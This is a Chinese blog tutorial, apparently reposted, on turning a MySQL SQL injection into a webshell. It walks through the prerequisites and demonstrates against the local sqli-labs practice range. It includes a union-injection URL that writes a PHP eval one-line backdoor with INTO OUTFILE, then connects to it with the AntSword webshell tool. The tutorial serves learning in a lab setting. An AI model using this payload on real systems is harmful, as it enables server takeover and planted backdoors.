网络安全——基于SQL注入拿到webshell

Posted Demo不是emo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全——基于SQL注入拿到webshell相关的知识,希望对你有一定的参考价值。

作者名:Demo不是emo 

主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:纵是告别,依旧意难平

 今天参加远程面试的时候面试官问了这样一个题:“你知道哪些通过注入漏洞获取服务器权限的方法?请详细讲讲,”这我直接愣住了,平时渗透中sql注入我一般用来获取数据库的数据信息,虽然在我记忆中我曾经学过通过注入漏洞获取服务器权限的方法,但已经忘得差不多了,所以今天写一篇博客来巩固一下这方面的知识,希望对您们也有帮助

目录

一:前提条件

(1)当前sql注入用户必须为DBA权限

(2)知道网站的绝对路径

(3)My.ini文件中的secure_file_priv为空 

二:原理讲解

三:实际操作 

1.通过sql注入漏洞写入文件到指定位置 

 2.使用webshell管理工具连接


一:前提条件

想要通过sql注入获取对方服务器权限,需要满足以下条件

(1)当前sql注入用户必须为DBA权限

--is-dba参数的值为true

很多小伙伴又会问道,那dba权限是什么呢?

DBA权限就其实是数据库的超级管理员权限

只有dba才能创建数据库结构

注意:一般数据库的dba权限都为root

(2)知道网站的绝对路径

知道网站的绝对路径主要是方便我们上传木马文件

不知道怎样找网站的绝对路径的也可以看看我的教程

文章链接http://t.csdn.cn/Hmnfy

(3)My.ini文件中的secure_file_priv为空 

如下, 意思就是不限制数据的导入和导出操作

即能够上传木马文件 

二:原理讲解

 先简单给大家介绍一下流程

1.目标存在sql注入漏洞,且已经获取目标的绝对路径

2.并且通过探测发现目标能够进行数据的导入和导出操作,即secure_file_priv为空

3.当前数据库是最高权限(即dba权限)

4.利用Into outfile()   (写入文件的函数),向指定路径写入一句话木马

5.webshell连接工具连接一句话木马,成功获得权限

三:实际操作 

这里我们用大家熟知的sqli-labs靶场来给大家演示,如下

模拟环境:

1.已经知道目标存在sql注入,类型为union注入

2.通过各种方法已经获取到目标的绝对路径,为

D:\\phpStudy\\PHPTutorial\\WWW\\targetrange\\sqli-labs-master\\Less-1

3.通过sql注入获取用户名判断出是root用户,即dba权限 

页面如下

http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1

1.通过sql注入漏洞写入文件到指定位置 

代码如下: 

http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST['cmd']);?>',3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\targetrange\\sqli-labs-master\\Less-1/ab.php' %23

 下面跟大家详细介绍一下这个命令的详细功能

http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/targetrange/sqli-labs-master/Less-1/ab.php' %23


select 1,'<?php @eval($_POST["cmd"]);?>',3
指定数据

into outfile 'D:/phpStudy/PHPTutorial/WWW/targetrange/sqli-labs-master/Less-1/ab.php' %23
将数据写入目标文件目录的ab.php文件

因为是靶场,所以我们可以先看看指定目录下的文件

可以看到里面只有一个php文件和txt文件,我们执行上面的命令,如下

 没有出现报错,说明已经成功写入了,再次查看该位置下的文件,如下

 可以确定,一句话木马已经被成功写入

 2.使用webshell管理工具连接

因为我平时用蚁剑比较多,这里就给大家用蚁剑演示了,首先打开蚁剑添加数据,输入我们刚才写入的文件的路径 ,密码为cmd

 再点击添加数据,页面如下

 可以看到已经成功获取了webshell,到这里就成功通过sqk注入拿到webshel了

重新测试了一遍发现其实还是挺简单的,只是平时获取webshell都老想着找文件上传漏洞去了,所以说大家还是得记住sql注入也是可以拿到webshell的哦,只是利用条件比较苛刻,最后,感谢大家的阅读,respect! 

以上是关于网络安全——基于SQL注入拿到webshell的主要内容,如果未能解决你的问题,请参考以下文章

PHP安全之webshell和后门检测

采用HAN网络模型的WebShell检测

一次与sql注入 & webshell 的美丽“邂逅”

从sql注入到内网

一次与sql注入 & webshell 的美丽“邂逅”

精品转载一次与sql注入 & webshell 的美丽“邂逅”